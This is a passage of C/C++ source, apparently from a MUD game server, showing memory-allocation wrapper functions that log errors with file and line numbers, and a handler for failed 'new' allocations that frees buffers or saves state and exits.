fprintf(stderr, "file %s - line %d: realloc error for address %x\n",
file, lineno, (int)oldp);
exit(1);
}
newp = realloc(oldp, nbytes);
if (newp == (void *) NULL) {
fprintf(stderr, "file %s - line %d: realloc error for %u bytes\n",
file, lineno, nbytes);
exit(1);
}
*pbuf = newp;
return newp;
}
// front end for calloc
void *ycalloc(char *file, int lineno, unsigned int numobjs, unsigned int nbytes)
{
void *pheap;
pheap = calloc(numobjs, nbytes);
if (pheap == (void *) NULL) {
fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file,
lineno, (nbytes * numobjs));
exit(1);
}
install(pheap);
return pheap;
}
// front end for free
void yfree(char *file, int lineno, void *pheap)
{
register void **pbuf;
if (pheap != (void *) NULL)
for (pbuf = dbuf; pbuf < dbuf + MAXBUF; pbuf++)
if (*pbuf == pheap) {
*pbuf = NULL;
free(pheap);
last--;
return;
}
fprintf(stderr, "file %s - line %d: free error for address %x\n",
file, lineno, (int)pheap);
exit(1);
}
// C++ memory routines!
// This function is called whenever 'new' fails. What it will do in the
// future is free up any buffered memory and then the mud will try the
// allocation again. We'll continue trying until all buffered memory is
// freed up and if we still can't allocate, then we'll kill the mud.
void NewHandler()
{
mudlog("WARNING: Failed Allocation, freeing up buffers...", NULL, LOG_SYSLOG,
TRUE);
if (!Mem->ClearStacks())
{
cerr << "SYSERR: Unable to free enough memory, shutting down." << endl;
Crash_save_all();
House_save_all();
exit(0);
}
}